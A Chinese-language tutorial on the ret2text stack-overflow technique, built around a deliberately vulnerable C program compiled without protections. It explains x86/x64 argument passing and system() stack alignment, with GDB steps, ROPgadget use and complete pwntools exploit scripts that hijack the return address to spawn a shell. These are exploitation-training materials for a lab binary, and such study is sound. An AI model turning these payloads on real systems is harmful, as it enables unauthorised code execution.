浅谈 ret2text

文章目录

    • ret2text
      • 无需传参
      • 重构传参
        • 函数调用约定
        • x86
        • x64

ret2text

ret2text就是执行程序中已有的代码,例如程序中写有system等系统的调用函数

无需传参

如果程序的后门函数参数已经满足 getshell 的需求,那么就可以直接溢出覆盖 ret 地址不用考虑传参问题

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){system(shell);return 0;
}int dofunc(){char a[8]={};write(1,"inputs: ",7);read(0,a,0x100);return 0;
}int main(){dofunc();return 0;
}
gcc -m32 ret2text_func.c -no-pie -fno-stack-protector -o x86

checksec 发现未开启栈溢出保护,而且 system 参数是 ‘/bin/sh’

image-20240120171301245

打开 ida,发现缓冲区到 ret 有 20 个字节

image-20240121155838069

查看一下 func 的地址

p &func

image-20240120171334535

编写脚本

from pwn import *context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'pwnfile = './x86'io = process(pwnfile)ret = 0x8049182
payload = b'a'*20 + p32(ret)
# payload = flat(['a'*20,0x8049182])gdb.attach(io)
pause()str = 'input:'+'\n'
io.sendlineafter(str,payload)
io.interactive()

重构传参

一般并不会直接将“shell = ‘/bin/sh’”这种危险字符串和system函数放在一起。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){system(cmd);//不同处return 0;
}int dofunc(){char a[8]={};write(1,"inputs: ",7);read(0,a,0x100);return 0;
}int main(){dofunc();return 0;
}
函数调用约定
_cdecl:        c/c++默认方式,参数从右向左入栈,主调函数负责栈平衡。_stdcall:        Windows API方式,参数从右向左入栈,被调函数负责栈平衡。_fastcall:        快速调用方式。即将参数优先从寄存器传入(ecx和edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于cpu内,存取快于内存。

这里讲述默认的gcc调用约定_cdecl的一些特点。

 x86
使用栈传递参数
使用eax存放返回值x64
前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中
多余的参数存放于栈中

image-20240121103909348

x86

我们都知道栈的函数返回地址下就是函数参数。

image-20240120193454548

而且由 ebp 偏移量来拿取参数,那我们能不能直接溢出来覆盖地址和参数呢?先本地模拟一下

p &func
search '/bin/sh'

image-20240120193923290

set *0xffffd1cc=0x80491d6
set *0xffffd1d0=0x804c024

可以看到返回函数地址和参数都到位了。

image-20240120194157729

那么真的可以执行了 吗???

答案是不行的,system 并没有按照预期执行。

我们再来分析一下函数调用过程

PUSH	参数2
PUSH	参数1
CALL	子函数     (PUSH EIP;JMP)PUSH	EBPMOVE	EBP ESP	……LEAVERET

我们注意到 call 其实执行了

PUSH EIP;JMP

这就是为什么栈中 EIP 会在 EBP 下面。但是当我们调用 ret 指向 func 时,没有调用 call,也就没有把 EIP 压入栈中,此时我们的栈时如此一番景色

image-20240120195323303

而拿去参数也是同过 EBP 偏移量来实现的,本来有返回地址时通过 [EBP+8] 来拿参数一,但是因为没有返回地址 此时 EBP 和 参数相邻相差 4 个字节,所以 EBP + 8 就不是参数一的地址了。

所以解决办法就是溢出 EBP+4 的位置为一个返回地址,比如 0xdeadbeef

exp

from pwn import *context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'pwnfile = './x86'io = process(pwnfile)ret = 0x80491d6
arg_addr = 0x804c024
payload = b'a'*20 + p32(ret) + p32(0xdeadbeef) + p32(arg_addr)
# payload = flat(['a'*20,0x8049182])gdb.attach(io)
pause()str = 'input:'
io.sendlineafter(str,payload)
io.interactive()
b'a'*20 + p32(ret) + p32(0xdeadbeef) + p32(arg_addr)

image-20240120203443482

还有一个办法直接把 ret 改为 ‘call system’ 的地址,这样就能 把 EIP 压入栈中 (还减少了长度)

b'a'*20 + p32(ret) + p32(arg_addr)

64 位传参又有些许不同

x64

前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中。多余的参数存放于栈中

所以我们要把 rdi 的值改为 ‘/bin/sh’ 的地址。

参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要利用 gadget 片段。

那么甚么是 gadget? 比如 pop rdp 的 16 进制是 5D,pop r13 是 41 5D。且 pop r13 地址是 0x0000…01

那我们如果覆盖返回地址为 0x0000…02,就能截取 41 5D 的 5D 也就是得到 pop rdp

现在目的很明确了

  1. 修改rdi的值(可使用代码pop rdi ; ret)
  2. 在栈中放入‘bin/sh’经由pop提交给rdi
  3. 进入func函数内调用system函数

利用 ROPgadget 得到所有可能有用的 gadget。

ROPgadget --binary ./x86 > gadgets

找到了这一条

0x000000000040120b : pop rdi ; ret

我们只要构造如此栈帧即可。

image-20240121135005317

这样就能 dofunc 执行到 ret 时来到 0x0000000000401263 下执行 pop rdi

而此时栈顶指针指向 ‘/bin/sh’ 的地址,于是 ‘/bin/sh’ 被放入 rdi 中,然后执行 ret,此时后门函数地址顶上来了,于是就 ret 到了 func 的地址 (这就是为什么找的是pop rdi ; ret 而不是 pop rdi 。我瞎猜的,不然不好解释)

payload

payload = b'a'*padding + p64(rdi_addr) + p64(sh_addr) + p64(ret + 1)

ret + 1 这里返回的 func 地址加一是因为 ubuntu18及以上版本的系统要求在调用system函数时栈16字节对齐。我们可以看到栈中的地址末尾非0即8,这是因为64位程序每个内存单元都是8字节。而栈16字节对齐的意思是调用system函数时rsp的值必须是16的倍数,也就是末位为0

+1 跳过了一个 栈 操作(push 或者 pop),所以末尾为 0(+1 不行也可以试试 +2)一直加到遇见一条栈操作指令为止(看别的师傅说最大加16次就能成功,不过我不知道为啥)

栈溢出使用pwntools本地交互以及栈对齐问题 - Nemuzuki - 博客园 (cnblogs.com)

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)

所以构造 exp

from pwn import *context.log_level = 'debug'
# context.arch = 'i386'
context.arch = 'amd64'
context.os = 'linux'pwnfile = './x64'elf = ELF(pwnfile)
io = process(pwnfile)# ret = 0x401142
ret = elf.symbols['func']
sh_addr = 0x404040
rdi_addr = 0x40120b
padding = 0x10payload = b'a'*padding + p64(rdi_addr) + p64(sh_addr) + p64(ret + 1)
# payload = flat(['a'*20,0x8049182])# gdb.attach(io)
# pause()strs = 'input:'
io.sendlineafter(strs,payload)
io.interactive()

image-20240121153805711

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/637974.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024最新 8 款电脑数据恢复软件推荐分享

数据恢复是一个涉及从设备硬盘驱动器检索已删除文件的过程。这可能需要存储在工作站、笔记本电脑、移动设备、服务器、相机、闪存驱动器上的数据——任何在独立或镜像/阵列驱动器上存储数据的东西&#xff0c;无论是内部还是外部。 在某些情况下&#xff0c;文件可能被意外或故…

AtCoder Beginner Contest 337 (ABCDEG题)

A - Scoreboard Problem Statement Team Takahashi and Team Aoki played N N N matches. In the i i i-th match ( 1 ≤ i ≤ N ) (1\leq i\leq N) (1≤i≤N), Team Takahashi scored X i X _ i Xi​ points, and Team Aoki scored Y i Y _ i Yi​ points. The team wi…

大数据关联规则挖掘:Apriori算法的深度探讨

文章目录 大数据关联规则挖掘&#xff1a;Apriori算法的深度探讨一、简介什么是关联规则挖掘&#xff1f;什么是频繁项集&#xff1f;什么是支持度与置信度&#xff1f;Apriori算法的重要性应用场景 二、理论基础项和项集支持度&#xff08;Support&#xff09;置信度&#xff…

第135期 一周游历(上)(20240120)

数据库管理135期 2024-01-20 第135期 一周游历(上)&#xff08;20240120&#xff09;1 PolarDB开发者大会2 工作3 Oracle甲骨文4 Oracle ACE总结 第135期 一周游历(上)&#xff08;20240120&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#xff08;尹海文&#xff09; Oracle AC…

JS-WebAPIs-本地存储(五)

• 本地存储介绍 以前我们页面写的数据一刷新页面就没有了&#xff0c;是不是&#xff1f;随着互联网的快速发展&#xff0c;基于网页的应用越来越普遍&#xff0c;同时也变的越来越复杂&#xff0c;为了满足各种各样的需求&#xff0c;会经常 性在本地存储大量的数据&#xf…

运筹说 第107期 | 排队论创始人——阿格纳·克拉鲁普·爱尔朗

前面我们已经了解了非线性规划的相关内容&#xff0c;相信大家一定也有所收获&#xff0c;下面我们将带着大家继续了解排队论的相关内容&#xff0c;在本次文章中我们将一起走近排队论的奠基人——阿格纳克拉鲁普爱尔朗&#xff08;Agner Krarup Erlang&#xff09;&#xff0c…

基于Elasticsearch+Logstash+Kibana+Filebeat的日志收集分析及可视化

sudo rm /var/lib/dpkg/lock* sudo dpkg --configure -a apt update tail -f /var/log/car.log 1.1、项目概述 海量的业务应用&#xff0c;也带来了海量的日志数据&#xff0c;给业务应用的运维带来了新的挑战。例如&#xff0c;我们常用的网约车应用&#xff0c;单个平台…

I.MX8QM EC20适配

Android SDK&#xff1a;imx8_13.0.0_1.2.0(android 13 u-boot 2022.04 kernel 5.15.74) 一、内核修改 添加PID、VID。在“drivers/usb/serial/option.c”中可以看到EC25的PID和VID已经添加&#xff0c;而且这个EC25的PID和VID与EC20的相同&#xff0c;所以这里可以不用修改…

Traceroute 详解

前言 如果您是网络管理员&#xff0c;系统管理员或任何系统操作团队的一员&#xff0c;那么您可能已经听说过名为TRACEROUTE的工具。默认情况下&#xff0c;它是大多数操作系统中都提供的非常方便的工具。 网络管理员和系统管理员在日常活动中最常使用此工具。它基本上是一个…

二叉树 - 堆 | 数据结构中的小技巧大作用

&#x1f4f7; 江池俊&#xff1a; 个人主页 &#x1f525;个人专栏&#xff1a; ✅数据结构冒险记 ✅C语言进阶之路 &#x1f305; 有航道的人&#xff0c;再渺小也不会迷途。 文章目录 一、堆的概念及介绍二、结构图示三、堆的代码实现&#xff08;图解&#xff09;3.1 创…

HackTheBox - Medium - Linux - Noter

Noter Noter 是一种中型 Linux 机器&#xff0c;其特点是利用了 Python Flask 应用程序&#xff0c;该应用程序使用易受远程代码执行影响的“节点”模块。由于“MySQL”守护进程以用户“root”身份运行&#xff0c;因此可以通过利用“MySQL”的用户定义函数来利用它来获得RCE并…

快速上手的AI工具-文心3.5vs文心4.0

前言 大家好晚上好&#xff0c;现在AI技术的发展&#xff0c;它已经渗透到我们生活的各个层面。对于普通人来说&#xff0c;理解并有效利用AI技术不仅能增强个人竞争力&#xff0c;还能在日常生活中带来便利。无论是提高工作效率&#xff0c;还是优化日常任务&#xff0c;AI工…

一篇文章看懂云渲染,云渲染是什么?云渲染如何计费?云渲染怎么选择

云渲染是近年兴起的新行业&#xff0c;很多初学者对它不是很了解&#xff0c;云渲染是什么&#xff1f;为什么要选择云渲染&#xff1f;它是如何计费的又怎么选择&#xff1f;这篇文章我们就带大家了解下吧。 云渲染是什么 云渲染简单来说就是把本地的渲染工作迁移到云端进行的…

以超市数据微案例-fineBI可视化分析

一、入门案例&#xff1a; 2.分析思路&#xff1a; 数据清晰界面中添加毛利额计算 **所以在新增步骤之后&#xff0c;必须点击保存并更新&#xff0c;否则可视化界面中无法使用最新的数据 4、数据可视化分析 1&#xff09;销售额最高的十大商品种类 为1-8月超市数据&#xff…

响应式编程

Reactive-Stream Reactive Streams是JVM面向流的库的标准和规范 1、处理可能无限数量的元素 2、有序 3、在组件之间异步传递元素 4、强制性非阻塞,背压模式 在Java中,常用的背压机制是响应式流编程中的反压(Reactive Streams Backpressure)。反压是一种生产者-消费者模型,…

【刷题笔记4】

动态规划题目汇总 斐波那契数列&#xff1a;1&#xff0c;1&#xff0c;2&#xff0c;3&#xff0c;5&#xff0c;8&#xff0c;13…… 递归一把解决三类问题&#xff1a;1.数据定义是按照递归的&#xff08;斐波那契数列&#xff09;。2.问题解法是按递归算法实现的。 3.数据…

JUC-Java内存模型JMM

JMM概述 Java Meory Model java内存模型。在不同的硬件和不同的操作系统上&#xff0c;对内存的访问方式是不一样的。这就造成了同一套java代码运行在不同的操作系统上会出问题。JMM就屏蔽掉硬件和操作系统的差异&#xff0c;增加java代码的可移植性。这是一方面。 另一方面JM…

ios适配虚拟home键

在H5开发过程中遇到一个兼容性问题。iphone手机的虚拟home键会对屏幕底部的内容造成遮挡。要处理此问题&#xff0c;需要清楚安全区域这个概念。 安全区域 根据刘海和虚拟Home键&#xff0c;Apple为其设备提供了屏幕安全区域的视觉规范 竖屏&#xff1a;竖屏的时候&#xff…

UE5 C++学习笔记 常用宏的再次理解

1.随意创建一个类&#xff0c;他都有UCLASS()。GENERATED_BODY()这样的默认的宏。 UCLASS() 告知虚幻引擎生成类的反射数据。类必须派生自UObject. &#xff08;告诉引擎我是从远古大帝UObject中&#xff0c;继承而来&#xff0c;我们是一家人&#xff0c;只是我进化了其他功能…

矩阵和矩阵如何相乘?

矩阵与矩阵相乘遵循特定的数学规则。为了相乘&#xff0c;第一个矩阵的列数必须等于第二个矩阵的行数。矩阵乘法的结果是一个新矩阵&#xff0c;其行数等于第一个矩阵的行数&#xff0c;列数等于第二个矩阵的列数。矩阵乘法不满足交换律&#xff0c;即 AB≠BA。 例子&#xff…